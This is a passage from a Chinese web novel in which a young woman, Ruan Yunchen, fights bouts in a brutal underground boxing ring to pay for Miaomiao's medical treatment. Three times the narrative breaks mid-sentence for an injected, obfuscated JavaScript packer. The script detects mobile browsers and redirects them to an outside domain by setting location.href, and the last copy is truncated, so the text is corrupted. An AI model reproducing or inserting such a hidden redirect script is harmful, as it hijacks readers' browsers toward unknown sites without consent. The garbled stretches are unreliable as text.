她的动作很慢,怕打扰到什么,又怕自己显得太过突兀。 地面很滑,像是刚被水冲刷过,但那水并不干净,隐隐泛着一层污红的颜色,混杂着泥土和血迹。 空气里漂浮着一股浓烈的气味,有烟草、汗液,还有某种铁锈般的血腥味,刺得人鼻腔发麻。 “砰——” 一声闷响在栅栏里炸开,像是一记重锤落在耳边。阮云琛下意识地转头看去,栅栏中间的两个人正在激烈地对打。 一个男人的拳头狠狠砸在另一个人的脸上,后者踉跄了几步,随即摔倒在地。他的脸埋进地面,血从额角流下来,染红了地上的污水。 他没有再动弹。 那就像是一块被人丢弃的破布,无人在意,无人理睬。 看台上的人顿时爆发出一阵巨大的叫喊声,声音带着一种近乎癫狂的兴奋,像是被点燃的火药。 他们挥舞着手里的钞票,朝场中的某一侧大声呼喊,声音嘶哑得像是喉咙被磨破了。 阮云琛收回目光,心跳得有些快。 “第一场等会就会开始。”旁边的黑衣人似乎看出了她的情绪,冷冷地开口,“既然选择报名,你就别想着能逃,跑不掉的。” 他的语气里没有半点情绪,像是惯看生死的人,语气冷淡得像一把冰冷的刀。 阮云琛没有回答。 她的手指蜷了一下,而后又很快地松了开,指甲轻轻掐过掌心。 她知道,这不是逃不逃的问题——是根本没有路可逃。 她站在原地,脚步稍稍向后缩了一点,像是想离开栅栏的铁影,但背后却立刻撞上了黑衣人的手肘。 黑衣人并没有用力,只是稍微推了一下,语气不耐:“别磨蹭。” 那种触感让阮云琛浑身一僵,像被按下某种隐形的开关。她迅速挺直了背,眼神再一次落回拳场。 栅栏里的男人倒在地上,血从额角滑下来,顺着脸侧滴在地上。那个站着的拳手正抬起脚,毫不犹豫地踢向倒地者的肋骨,鞋尖撞在骨头上的声音闷响得像是被塞进耳膜里。 看台上的观众爆发出一阵惊叫和狂笑,他们的声音带着一种癫狂的兴奋,仿佛这样的暴力在他们眼里不是血腥,而是一场盛大的娱乐。 阮云琛的喉咙动了一下,像是有什么卡在那儿,她试图吞咽,却最终什么也没咽下去。她的肩膀微微僵着,脸上的神情却没有变,像是一张被固定住的面具。 “走。”黑衣人低声催促了一句。 阮云琛没有动声色,但脚步还是跟了上去,踩过沾着污水的地面,穿过看台下昏暗的通道。 通道两侧的墙壁被人随手涂满了歪歪扭扭的涂鸦,昏黄的灯泡将这些图案拉长,变成扭曲的影子,像是在默不作声地注视着每一个人。 “别总回头。”黑衣人在前面低声提醒,像是例行的忠告,又像是某种不言而喻的规矩。 阮云琛的目光垂了下去,紧紧跟在他身后,穿过一扇低矮的铁门,拳场的后台出现在她眼前。 后台的光线比外面更暗,只有几盏昏黄的灯泡吊在头顶,光线摇摇晃晃地洒下来,把地面映成一片模糊的影子。 空气变得更加污浊,混杂着血腥味和汗臭,让人呼吸起来像是被堵住了一样。 地上堆满了乱七八糟的器材和破烂的椅子,角落里还有几个沙袋,表面的皮早已磨得发亮,甚至裂开了几个口子,里面的填充物露出来,像是某种散乱的内脏。 阮云琛的目光扫了一圈,发现墙边坐着一个人,低着头喘气。 他的手肘撑在膝盖上,脖子和脸上全是伤口,血已经凝固成了黑红色。一个年轻的助手模样的人站在旁边,用毛巾给他擦额头上的血迹,动作很小心,却还是让他龇了一下牙。 他们都没有抬头看她,仿佛这样的场景已经见怪不怪。 阮云琛低下头,跟着人往更深处走。 她的脚步很轻,尽量不去踩那些散落在地上的东西。她被指引到角落里的一个小房间,那房间里只摆着一张简陋的床和一个洗手池,光线昏暗得像是某种蓄满了危险的洞穴。 “准备一下,东西马上会送过来。”黑衣人说完,转身离开。 房门关上的瞬间,整个空间陷入了一种沉闷的安静。 阮云琛站在原地,眼睛扫过房间的每一个角落,最终停在床边的破毛巾上。 肩膀开始隐隐作痛,但这点痛意却像是一种无声的提醒,提醒她必须撑住,无论接下来是什么,都要撑下去。 空气里像是混着某种说不清的气味,压得她的呼吸一瞬间变得沉重。 纱布贴在肩膀的内侧,随着步子晃动微微摩擦着伤口。每一次动作,疼痛都会从皮肤表面渗透到骨头深处,像是一根钝钝的锥子在骨髓里轻轻搅动。 她坐在房间的角落里,头靠着冰冷的墙壁,半闭着眼。光线昏暗得像一层凝滞的雾,把空气压得发闷,连呼吸都像是多余的。 她不知道自己在这儿坐了多久,也没有精力去判断时间流逝的快慢。 外面不时传来低沉的脚步声,夹杂着门被推开的刺耳声响,还有人粗重的喘息,仿佛下一场的拳手正在等候命运的召唤。 这些声音像是一种无形的提醒,把她拉在某种隐形的线上,不能断,也不能逃。 阮云琛的手指无意识地抠着膝盖边缘的衣料,指尖滑过粗糙的布纹,留下一点点浅白的痕迹。 “你还没准备好吧?”房间里忽然响起一个声音,不知是内心的质问还是环境的压迫。她没有回答,甚至连这个问题的答案都懒得去想。 没过多久,脚步声突然变得清晰起来。 “快点。”门被推开的声音伴随着一道冷硬的声音传来。黑衣人站在门口,眉头皱着,语气里没有一丝耐心。 他看起来像是随时会把她拽起来扔出去。 阮云琛动了动,没有马上起身。 肩膀上的伤因为刚才的姿势轻微拉扯了一下,那种隐隐作痛的感觉像是溢出了皮肤,在空气里蔓延开来。 “听不见吗?”黑衣人又催促了一句,声音低沉,像是从喉咙里挤出来的冷冰冰的刀刃。 阮云琛终于抬起头,看了他一眼,眼神里没有情绪,像一潭静止的死水。 “来了。”她的声音很低,沙哑得像是被什么刮过。 她撑着墙站起来,动作缓慢,却不显得迟疑。肩膀上的痛楚随着站立的姿势重新涌上来,她深吸了一口气,把这股刺痛压在胸腔深处。然后,她低下头,迈开脚步,朝门外走去。 黑衣人推开那扇厚重的铁门,嘈杂的声音瞬间扑了出来。像是一群高分贝的鸟扇着翅膀从头顶掠过,又像一场无形的战火,卷起无数烟尘,将空气压得滚烫。 她跟着他走进去,肩膀稍稍向下沉了一点,像是在无声中藏起那点从外表看不出来的虚弱。 灯光很暗,但足够勾勒出场地的轮廓。一圈铁栅栏围住中央的拳场,场地的地面呈现出一种深色,不知道是泥、汗,还是血。 围栏外是密密麻麻的人影,交叠着叫喊、喧闹和爆粗的声音,像一张扭曲的网,把中间的拳场缠得死死的。 阮云琛站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830938|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门边,脚底的汗湿地板让她的鞋底打滑,但她站得很稳。 疼痛依旧,但此刻却像被压在了某个更深的地方。 她站在入口处,眼睛一瞬不瞬地盯着场中的动作:刚才的那两个男人还在围栏里撕扯,一个抓住了对方的胳膊,另一个弯下腰,用肩膀猛撞他的肋骨。 没有章法,没有技巧,甚至那拳场上没有半点规则——只要打,打得够猛,打得够凶,能把对手给打到毫无还手之力,便是赢了。 忽地传来“砰”的一声闷响,隔着空气和层层叠叠的铁丝围栏都能感受到那撞击的重量。 肩膀开始隐隐抽搐。 阮云琛下意识地想抬起手去碰,但最终没有动,只是把手指紧紧塞进衣兜里,用身体的重量压住那点本能。 “看什么?”旁边的黑衣人不耐烦地冷哼了一声,“你以为自己能躲得过去?” 阮云琛没有移开目光,只是嘴唇轻轻抿了一下。 黑衣人对所有人的态度似乎都是如此——冷硬、随意、没有尊重可言。阮云琛不想去分辨他这话里的意味是嘲讽还是警告,因为无论是哪一种,答案都是一样。 伤口疼,她可以忍;但赢不了,她就得死。 阮云琛跟着人往后台走,光线变得更昏暗,空气里充满了潮湿的铁锈味和难以形容的腥气,像是被血浸过又晒干的布料。 手上只有两圈防滑用的纱布,拳拳到肉,拳拳用肉去碰。 哪怕脸上身上没挂上伤,手也一定会就这样血肉模糊。 ——这就是有钱人的乐趣吗? 阮云琛止不住地这么想着。 地上的积水映出走廊顶端残破的灯影,踩上去会滑,但她的脚步始终没有出错。 走廊里回荡着突兀的脚步声,和身旁黑衣人的皮靴撞击地板的声音混在一起,像是被某种无形的手拖进了更深的地方。 走廊尽头是另一扇铁门,门的边角已经被撞得翘起了几块,裸露的铁皮带着细小的锈迹。黑衣人伸手推开门,灯光顿时从门缝里泄了出来,亮得刺眼。 “去那边,换好准备上。”黑衣人抬了抬下巴,示意她走向左侧的一排简陋的更衣柜。 阮云琛没有多问,顺着他的指示走了过去。更衣柜的门开着一半,里面挂着一件黑色的背心和一条短裤,布料薄得几乎像纸。 显然,这是给拳手们准备的统一服装——方便打斗,也方便被人记住。 她脱下外套,把肩膀上的纱布重新按了按,随后换上那身简单得不能再简单的衣服。换好衣服后,她站在镜子前,目光扫过自己的脸,抬起手整理了一下额前的碎发。 肩膀的疼痛隐隐作祟,但此刻更让她不安的是胸腔里逐渐加速的心跳声。她的眼神垂了垂,随即抬起头,目光重新变得平静。 背后的门忽然被敲响了两下。 “该上了。”黑衣人的声音隔着门传来。 阮云琛深吸了一口气,拉开门,跟着他朝外走去。 通道尽头,另一片围栏的轮廓逐渐清晰起来。她听见观众的喧哗声正在升高,那些压抑的嘈杂像是一群饥饿的野兽,正等待着下一场暴力的盛宴。 每一步靠近,那声音就更响一点,像是压在耳膜上的重锤。 一个矮小的男人站在铁门边,正低头核对着名单。他的手指在名单上划过,抬头时目光扫到了阮云琛。 “就是她?”他的语气里带着一点疑惑,随后又带着几分轻蔑,“这年纪,这个身板……就这么个娃娃?” 黑衣人没有回答,只是把通行条递了过去。矮个男人撇了撇嘴,像是听见了什么笑话似的,摇了摇头,随即按下旁边的按钮,铁门缓缓打开。 光线从铁门后面涌出来,伴随着更加震耳欲聋的嘶吼和口哨声。 “上吧。”黑衣人站在原地,没有再跟上。 阮云琛没有回头,抬脚迈进了铁门。 21. 第一场 她的脚刚踏上那片深色的地面,就感觉到鞋底在潮湿的表面轻微打滑。 空气中弥漫着一股浓烈的腥气和汗味,那气味厚重得像是能够吞噬人的存在感。 围栏里站着一个高大的男人,他正低头系着手腕上的布条。 男人的背肌分明,整个人像是一头蓄势待发的野兽。听见动静后,他抬起头看了一眼,目光里没有太多情绪,只有冷漠和本能的杀意。 看台上的叫喊声瞬间变得更加疯狂,观众们像是嗅到了血腥气的猎犬,吵得喉咙嘶哑,却依然不肯停下来。 阮云琛站在台子的边缘,肩膀的疼痛像是某种无声的提醒,告诉她每一秒都要谨慎。 一个人影站在围栏边上,抬起手中的哨子。 “嘟——”哨声短促而尖锐,瞬间划破了空气。 场中的高大男人朝台下扬了扬手,像是在回应观众的呼喊,随后抬腿朝角落里的台阶走去。铁栅栏的门被人拉开,他走了出去,身后留下几滴从拳套上滴落的血。 地面泛着光,那是血和水混杂的痕迹。铁门被重新关上,发出一声尖锐的刺响。阮云琛感觉自己的耳膜也跟着颤了一下。 “下一个,准备上。”铁门外传来一个低沉的嗓音,冷冷的,没有半分情绪。 阮云琛的视线被迫拉回。 台下的工作人员朝她示意了一下,随后将一套护具扔到了她面前。护具破旧不堪,表面裂开了几道口子,露出里面早已压扁的海绵。 “穿上。”对方懒洋洋地补了一句。 阮云琛捡起那套护具,手指触碰到布料时感到一阵粘腻,那上面残留着汗渍和不知道是谁的血迹。空气中腥气更浓了,她抿着嘴没有说话,把护具套在自己身上。 布料紧贴着皮肤,像是一层硬壳,将她的呼吸压得越发浅薄。肩膀上的纱布被护具死死压住,疼痛像是长了钩子似的,一点点撕扯着神经。 “上吧。”刚才的黑衣人站在门边,示意她走进围栏。 阮云琛迈开脚步,脚下的地面湿滑,但她走得很稳,硬着头皮压下了所有的迟疑。 铁门再次打开,观众的喧嚣声几乎瞬间扑了上来。 嘈杂的嗓音混杂着尖锐的哨声与掌声,仿佛整个世界都被浸泡在一种荒谬的狂欢中。 阮云琛站在场地中央,听见自己的心跳声在胸腔里一下一下地敲击,混杂在这片噪音中,却又与之格格不入。 对面站着她的第一个对手。 那是一个体格强壮的男人,头发剃得很短,光秃的头皮反射着场地上方微弱的灯光。 他的手臂粗壮,肩膀宽阔,身上只套着一件背心,露出的肌肉线条让他看起来像是某种不知疲倦的野兽。 男人抬起眼,看向站在自己对面的阮云琛。目光里透着几分不屑,嘴角也弯出了一抹冷笑。他没有掩饰自己的情绪,甚至没有花费多余的时间来仔细打量她。 “就这么个小不点?”他嗤笑了一声,朝场边的赌徒们做了一个夸张的手势,“这比赛能让我一拳解决。” 看台上的观众顿时哄笑起来,有人拍手,有人起哄,更多的人开始大声下注,阮云琛她的名字叫得零零碎碎。 所有的赌注都堆在同一个选项上——输。 铁栅栏外的工作人员没有废话,直接吹响了开始的哨声。 男人朝阮云琛走过来,脚步很重,每一步都像是刻意让地面发出“砰砰”的响声。 他的拳头攥得紧紧的,握拳的骨节发出轻微的咔响,像是在提前宣告胜利。 阮云琛抬起手,肩膀的疼痛让她的动作僵硬了一瞬,但下一秒,她逼迫自己冷静下来,紧盯着男人的动作。 第一拳带着呼啸的风声朝她脸上砸来,阮云琛迅速后退了一步,感觉到那股劲风擦着鼻尖落了空。 紧接着,她向侧面一跃,躲开了第二拳。 男人显然没有想到她的速度会这么快。他愣了一下,但很快调整了动作,脚步逼近,再次抡起拳头。 阮云琛继续后退,身子低下,避开了他的重拳。 每一次出拳的力量都在空气中留下一道凶猛的痕迹,而她的动作始终快得让他无法捕捉。 这种速度几乎是刻在骨子里的本能。 阮云琛不知道有多少次,她从阮启明的手下躲开,靠的就是这种本能。那些年,厨房里的瓷碗摔在地上,碎片溅起来的时候,她甚至比响声更快地缩到了桌子下面。 她从来不会喊叫,也不会发出半点多余的声音,只是蜷缩着,屏住呼吸,等待一切过去。 家暴的日子教会她一件事:如果你足够快,就能让暴力落空;如果你足够安静,就能让恐惧延迟一会儿。 现在,拳台上的对手和那个站在厨房门口的男人没什么两样。他们的愤怒是一样的,拳头的目标是一样的,而她知道自己必须用同样的方式躲开。 可这一次不一样。 在家里躲开了也没用,因为拳头会继续落下,直到某个东西被打碎。可在这里,只要能撑到对方露出破绽,她就能赢。 这想法让她的动作更快了一些,脚下的步伐轻得像风一样。男人的拳头落空时,她甚至能感受到那股劲风擦过头顶的凉意。 她的心跳加速,疼痛却开始逐渐被压到意识的边缘,像是被某种力量强行封锁住了。 他显然有些急了。 每一次出拳的幅度都更大了一些,脚步也跟着变重,地面上响起一声声沉闷的撞击,像是被某种力量撕扯着要塌陷。 可阮云琛的脚步没有停。 她向后退,又向侧边躲开,然后迅速转身,绕着拳场打起了圈。 这种方式让场边的观众开始变得不耐烦。他们的吼叫声从最初的兴奋,变成了夹杂着嘲弄的骂声,像是嘲笑她只会逃跑,不敢面对。 “跑得倒是快!”有人大喊了一句,引得一片哄笑。 笑声在拳场的上空回荡,夹杂着其他赌徒的叫骂和起哄声,像是一群群饥饿的乌鸦盘旋着,等待血肉的降临。 可阮云琛觉得自己的耳朵仿佛被堵住了一样。那些声音明明近在咫尺,却像隔着一层厚厚的棉布,模糊不清,甚至连回声都显得遥远。她听不到这些声音,也不想听。 她的注意力全在对手身上。 那个男人的动作已经开始变得凌乱,每一次挥拳的力量虽然依然很足,但落点却有些偏离。 他的喘息声混杂在观众的叫喊中,像是一种粗重的风,被压在铁笼里出不去。 阮云琛躲过男人的一记直拳,重心压低,迅速向左侧闪开。可就在这一瞬间,肩膀上忽然传来一阵尖锐的刺痛。 那种疼痛像是一把冰冷的针,直接扎进了伤口深处,随后迅速变得灼热,像是火星落进血肉,越烧越深。 阮云琛几乎立刻意识到发生了什么。她的脸色没有变,但从眼角滑下的冷汗却暴露了身体的异样。 肩膀上的纱布在摩擦中已经被蹭得松动了一些,现在正缓缓渗出暗红色的血迹。 疼痛随着动作一点点扩大,血流越过纱布的边缘,顺着手臂滑下,最后落在拳场潮湿的地面上,溅开一小朵暗红的痕迹。 她没有停下动作,但脚步的力度明显轻了几分。每一次的转身、闪避,都像是在拉扯着那条隐形的伤口,将它越撕越开。 台下的人看不到这些,他们的目光被男人的凶狠动作吸引,根本无暇注意到她的血迹正在一点点染红护具的边缘。 可阮云琛自己知道。 每一次弯腰和起身,血流都会再多一些,像是体力被从一个无底的漏斗里缓缓抽空。疼痛混合着一种粘腻的湿冷,攀上了她的脊背。 她躲开另一记扫拳时,脚下猛地踩滑了一下。那一瞬间,观众的吼声瞬间提高了几个分贝,男人显然也察觉到她的动作变得迟滞了一些,嘴角勾起一抹冷笑,开始加快脚步逼近。 可阮云琛没有再后退。 她的肩膀几乎麻木了,疼痛像是一根尖利的钢针,贯穿了整个上半身。但她依然咬紧了牙,眼睛紧盯着对手的动作,没有半点退缩的意思。 不敢退缩,不能退缩,她必须强迫自己将那种痛感压到神经的边缘。 阮云琛咬了咬牙,强行将自己几乎控制不住的神经拖拽着扯回脑海,向后撤了一步,拉开与男人的距离。 可躲得久了,她也开始感到肩膀上传来的痛意逐渐加剧。 每一次弯腰和起身都像是用一根绳子将伤口越拉越开,那种疼痛并不是瞬间爆发,而是带着某种隐忍的持续性,像是锋利的铁锈在皮肉里摩擦。 汗顺着她的额角滑下来,模糊了视线。 阮云琛眯了眯眼,努力让自己的呼吸不至于太过紊乱,但脖颈处的动脉却跳得比她想象的还要快。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830939|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她知道自己的身体正在慢慢被削弱,这场对峙的时间越长,对手体力的消耗会是她唯一的机会,但她自己也并不是毫发无伤。 每多拖延一秒,胜负的天平就更倾向于她的对手。 场边的观众似乎察觉到了她的劣势,开始更加疯狂地呼喊。男人显然也意识到了这一点,嘴角的笑意更深了一些,动作也越发带着恶意。 但他不知道的是——阮云琛并不是在毫无章法地乱躲。 每一次的后退、闪避,都是在悄悄计算他的节奏。对手的动作越来越急躁,脚步开始显得有些沉重,体力也逐渐被消耗。 终于,她抓住了机会。 当他的脚步稍微迟缓了一瞬间时,她猛地转身,抬腿朝他的膝盖踢了过去。 那一脚又快又狠,踢中的瞬间,她清楚地听到了骨头与肌肉撞击的闷响。 男人发出一声闷哼,身体失去平衡,朝地面摔了下去。 看台上的叫喊声在那一刻猛然升高,像是一道撕裂空气的尖啸,混杂着欢呼和口哨。 人群开始激动地拍打围栏,铁条发出刺耳的颤音,像是某种无形的压迫感在整片空气里震荡。 阮云琛站在场地中央,汗水顺着她的额角滑落,衣服已经被汗和血浸透,贴在身上。她的视线有些模糊,耳边的喧嚣像是一团乱糟糟的噪音,被身体里的刺痛和疲惫撕扯得支离破碎。 铁门吱呀一声被拉开,拳场的工作人员懒洋洋地走了进来,完全没有看倒地的男人一眼,只是随手拉起他的胳膊,拖着他往出口方向走。 地面被拖出一道弯曲的血痕,最终消失在铁门后。 阮云琛慢慢放下抬起的脚,右腿有些微微发抖,她不得不花了一点力气才能站稳。血从她的肩膀滴下来,沿着手臂滑到指尖,最终落在地上,与场地上的污迹融为一体。 她深吸了一口气,抬头看向台下,试图找到些什么——哪怕只是一点点光。 可她自己也不知道为什么要这样做。 或者说,她并不清楚自己在期待什么。 观众? 那些人不可能给她答案。 他们的笑声、叫骂、下注的声音比拳台上的打斗还要混乱刺耳,他们只关心下一场,而不是上一场的输赢,更不会关心她。 但她的眼睛还是往下扫了一圈。 那是一种本能,也可能是某种错觉——仿佛有什么东西吸引着她的目光,催促她去寻找,去确认,去依附。 可视线滑过去时,扑入眼帘的只有一张张模糊又陌生的脸,那些兴奋、嘲弄、冷漠的表情堆叠在一起,没有一个与她有任何联系。 阮云琛只觉得喉咙像是被什么堵住了一样,一阵阵干涩的疼。 台下的光很暗,更多的地方笼罩在阴影中,像是一片无边的泥沼。她的脚下是潮湿的地面,身后是冰冷的围栏,整片拳场就像一口无声的井,任凭人怎么呼喊,都不会有人应答。 她忽然觉得自己像是在往水底望,却找不到倒影。 那一刻,茫然与疲惫交错着蹿上颅顶。 阮云琛的世界很小,小到只能装下拳台上这方寸之间的血腥气,小到只能装下那个蜷缩在台边喘息的自己。 她的世界也很孤独,孤独到没有任何人会站在她的身边。光都不愿意为她停留。 她明白,这世界上能依托的只有她自己。 可这种清醒有时候比混沌更让人觉得无力。 清醒是一面镜子,镜子里的她满身污迹,头发被汗水黏在脸上,肩膀的伤口还在渗血,而镜子外是围着拳台的一群人,他们大声喊着下一场的名字,仿佛刚才的一切从未发生。 阮云琛低垂的手指微微动了一下,指甲轻轻刮过拳套粗糙的表面,她想用这种触感勉强确认自己的存在。 她忽然想笑,想笑自己为什么还要往下看,为什么还会期待。 她的世界就是这样,她早就知道了,不是吗? 可阮云琛最终也没有笑出声。 她只是静静站在那里,仿佛被钉在地面上。 没有人看她。 工作人员的脚步声渐渐远去,观众的目光已经移向下一场赌局,她被彻底留在了这片狼藉之中。 “还活着就算你赢了。”站在围栏外的裁判模样的男人冷冷开口,声音像是敲在铁皮上的钝器,“下一场,明早五点。” 22. 厮杀 后台的灯光比刚才更暗,空气里满是消毒水掺着血腥味的刺鼻气息。 阮云琛被带回到那个简陋的小房间里,门被关上,整个空间里只剩下她一个人。肩膀的伤口已经完全裂开,纱布湿透,连带着护具的边缘也被染成了暗红色。 她脱下护具时,手指不小心碰到了伤口,疼得她猛地吸了一口气,额头抵在冰冷的墙面上,等到那一阵剧烈的刺痛过去,她才勉强抬起头。 水池边摆着一块湿毛巾,她伸手捡了起来,压在肩膀上,试图止血。毛巾上透出淡淡的霉味,水渍顺着她的手臂滴落,打湿了脚边的地面。 她知道自己不能倒下。 这只是第一场。 在赚到足够淼淼医药费的赌注之前,她不能停。 阮云琛靠在拳场后台的一面铁墙上,整个人像是浸泡在一层浓厚的血腥味中。 空气沉闷,粘稠得像坏掉的糖浆,她的每一次呼吸都像是用力从里面抽丝剥茧一样艰难。 “下一场,五分钟后。” 一个工作人员模样的人走了进来,声音冷得像铁。 他目不斜视,仿佛没看到靠在墙边的阮云琛,只是用夹着名单的手指点了点围栏的方向。 ——五分钟。 阮云琛闭了闭眼,指甲抠着拳套的边缘,试图借这种微不足道的疼痛让自己清醒一点。 肩膀的伤口已经彻底麻木,血从裂开的纱布里渗出来,沿着手臂滑下,滴在拳场后方那块斑驳的地板上,迅速融进了干涸的血迹。 刚才的比赛像是一场梦,甚至连梦的轮廓都还没来得及完全拼凑出来,下一场就已经扑面而来。 阮云琛撑着后台那堵生锈的铁墙,墙面上残留的寒意透过单薄的衣料刺进皮肤,仿佛连骨头都被冻住了。 铁锈的味道混着空气中的腥甜,像是一种让人窒息的腐朽感,紧紧贴在她的呼吸里。 肩膀的疼痛似乎已经不再是疼痛,而是某种顽固的存在,像是寄生在她身体里的异物,随着每一次动作发出细碎的低语。 纱布早已湿透,血迹沿着边缘渗出来,浸湿了护具,紧贴着她的肌肉,每一步呼吸都像是在和皮肤较劲。 阮云琛闭上眼睛,头微微靠在墙上,肩胛骨压得铁墙发出轻微的响动。 喧闹的观众声隔着厚重的墙壁隐隐传来,像是一片浮在空中的噪音,却又扎根在她的耳膜上。她没有动,甚至连调整呼吸都显得小心翼翼。 不是不想动,而是知道每一次动作都会让身体的疼痛放大一倍。 她不需要更多的提醒——身体里每一块肌肉都在以自己的方式抗议,发出被压榨到极限的哀鸣。 可是,她不能停。 阮云琛的手指缓缓地收紧,拳套的粗糙布料摩擦着掌心。 疼痛以一种熟悉的方式提醒她:她还站着,还得走出去。 她现在所能想到的世界很简单,简单到只剩下脚下的地板和前方那扇铁门。 没有时间,也没有空间,一切都被压缩到眼前的几步路和即将到来的拳头里。 阮云琛知道,只要还在这个地方,就永远没有喘息的机会。 她猛地睁开眼睛,眼里没有任何情绪,像是一片冬日的湖水,被冻得结结实实。扶着墙的手松开时,肩膀的刺痛像是被唤醒的伤兽,狠狠地咬了她一口。她的身体晃了一下,随后硬生生稳住了。 阮云琛放慢了脚步,那脚步甚至有些僵硬,但她每一步都将自己狠狠地钉在了地面上,像是钝刀剖开冰面——不锋利,却一定会把路劈出来。 铁门打开,发出刺耳的嘎吱声。门口的灯光泄进来,将她的影子投射在地面上。那道影子瘦削、倔强,微微晃动,却始终不曾后退。 门外的喧嚣像是猛兽,扑面而来的瞬间几乎要把她吞没。观众的呐喊几乎掀翻了整个拳场。投注的喊声此起彼伏,像烧开的水,翻滚着,不断涌出新的泡沫。 阮云琛的第二个对手是一个体型比刚才更魁梧的男人。 他的目光冷硬,像是根本不带任何情绪,但那双粗糙的拳头却透露出他活着的唯一意义——击垮眼前的对手。 ……是啊。 沦落到在这里打拳的人,又会有什么善意可言。 大家都无非是为了生计,是为了......钱。 这里没有谁对谁错,只有谁输谁赢。 输了的,可能会死;但赢了的,一定能拿到钱。 铁门在身后关上了。 “开始。”裁判模样的人开口,声音短促而干脆。 这个人比第一个对手更加凌厉。 他的每一次挥拳都带着极大的力量,空气仿佛都被他的动作给劈了开,发出了沉闷的声响。 这个男人的步伐稳重而精准,每一步都像是在逼近猎物,带着一种难以忽视的压迫感。他的眼睛死死盯着阮云琛,像是下一秒就要把她撕碎。 阮云琛后退,再后退,拳台的边界像是无形的刀锋逼近她的脊背。 围栏外的人声震天,但她的脑子里只有他挥拳的声音,每一次出拳的风压都像是在耳边炸开,震得她神经绷紧到了极点。 阮云琛低着头,眼睛却没有离开对方。 目光决不能乱。 她的动作已经比不上对方的力气,唯一的选择就是保持绝对的冷静,等他犯错。 男人的拳头又一次砸下来,阮云琛的脚步几乎踩到了围栏的边缘,拳台下金属条的寒意顺着鞋底往上爬。 肩膀的伤口被逼退的动作扯得更疼,像是一根绷紧的线,眼看就要断了。 她咬住牙,身体不由自主地矮下去,像是一只被逼入绝境的兽。 对方追得更紧了。 软荤菜能感觉到他的气息扑到自己的额头上,热烘烘的,带着无法掩盖的暴力味儿。可也就是在这一刻,他的拳头高高抡起,整条腰背瞬间暴露出来。 阮云琛的目光紧紧锁了住。 ——她等的就是这一瞬。 在所有人的目光还没有反应过来的时候,阮云琛猛地弯下腰,低身从他的侧翼钻过去。 肩膀上的伤口被牵得更深,疼得她眼前一阵发黑,但阮云琛一咬牙,靠着本能往前撞了过去。 肩膀重重撞上他的腰侧,那是压抑了所有重量的攻势。男人的身体猛地向侧面倾了一下,发出一声闷哼。 阮云琛没有给他喘息的机会。 她跺脚蹬地,膝盖顺势顶上他的肋骨,然后几乎用尽全身的力气,右肘狠狠朝他的下巴挥过去,动作快得没有一丝多余。 男人的身体失去平衡,整个人朝后倒去,重重砸在地上,溅起一片灰尘。 铁台发出一声沉闷的响动,一场剧烈的搏斗,就此终结。 围栏外的喧嚣瞬间炸开,像是烈焰被浇了一桶汽油,所有人的声音在这一刻冲破了某种极限。 有人在嘶喊,有人在尖叫,投注的人疯狂地挥舞着手里的赌单,每一张都带着浓重的汗渍和污迹。 阮云琛却站不住了。 她摇晃了一下,双腿像是终于承受不住压力,往后一退,靠在了铁围栏上。汗水顺着额角往下流,混着血,一滴一滴砸在台面上。 她的耳朵嗡嗡作响,恍若世界的一角被缓慢撕裂。肩膀的疼痛在这一刻完全爆发开来,像是一场从闸口倾泻而出的洪水,掩盖了她所有其他的感官。 阮云琛没有回头看倒地的男人,也没有看围栏外那些疯狂的观众。 她只觉得喉咙干得像一块废铁,眼前的光线在不断地拉长又收缩,像是连空气都被人抽走了一样。 可她的手指却还紧紧攥着,掌心传来的触感提醒着她——她赢了。 她又赢了一场。 转院费,住院费,药物费,手术费,除此之外,还有后续治疗和护理费用......五十万。 阮云琛需要五十万,才能救得回淼淼。 地下拳场的规则简单却冷酷。 新人永远是最底层的存在,即使赢了,也只能拿到赌金的5%到10%。只有连胜才能让分成稍微提高,但那意味着对手会越来越强,风险也成倍增加。 还有那些高赔率的比赛——赌金翻倍,吸引着所有人的目光,但其中的危险也足以让失败者再无翻盘的机会。 这里是一口巨大的铁罐,所有人都被扔进来,一层又一层地被压榨,直到鲜血浸透了台面,才算完成了它的收割。 ……还差八场。 还差最少八场,才能赚得淼淼转院和初期治疗的费用。 还差......不、 是就剩八场了。 阮云琛缓缓走回后台,沿途的灯光一盏比一盏暗,地板上的污迹与灰尘黏在一起,每一步都像是踏进某种无法挣脱的泥沼。 她的手指不自觉地抚过肩膀,纱布早已湿透,连同护具的边缘也被染成了暗红色。 空气中的铁锈味越来越浓,潮湿的窒息感像是一层看不见的网,压在她身上。她坐在后台的椅子上,头低垂着,仿佛要用这样的姿势缩回到某个不会被人看见的角落。 但时间没有给她这样的机会。 “下一场,准备。” 声音再次响起的时候,阮云琛甚至没来得及抬头。脚步声从走廊尽头传来,那双皮靴的撞击声轻而急促,像是用一种无声的方式在催促着她的体力耗尽。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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可这一次,她却觉得自己的身体像是被人钉死在了地板上。肩膀的疼痛太清晰了,清晰到让她的脑袋开始混乱,像一张皱巴巴的纸,上面写满了某种无法消化的痛楚。 “站不起来了吧?” 又是一声喊。 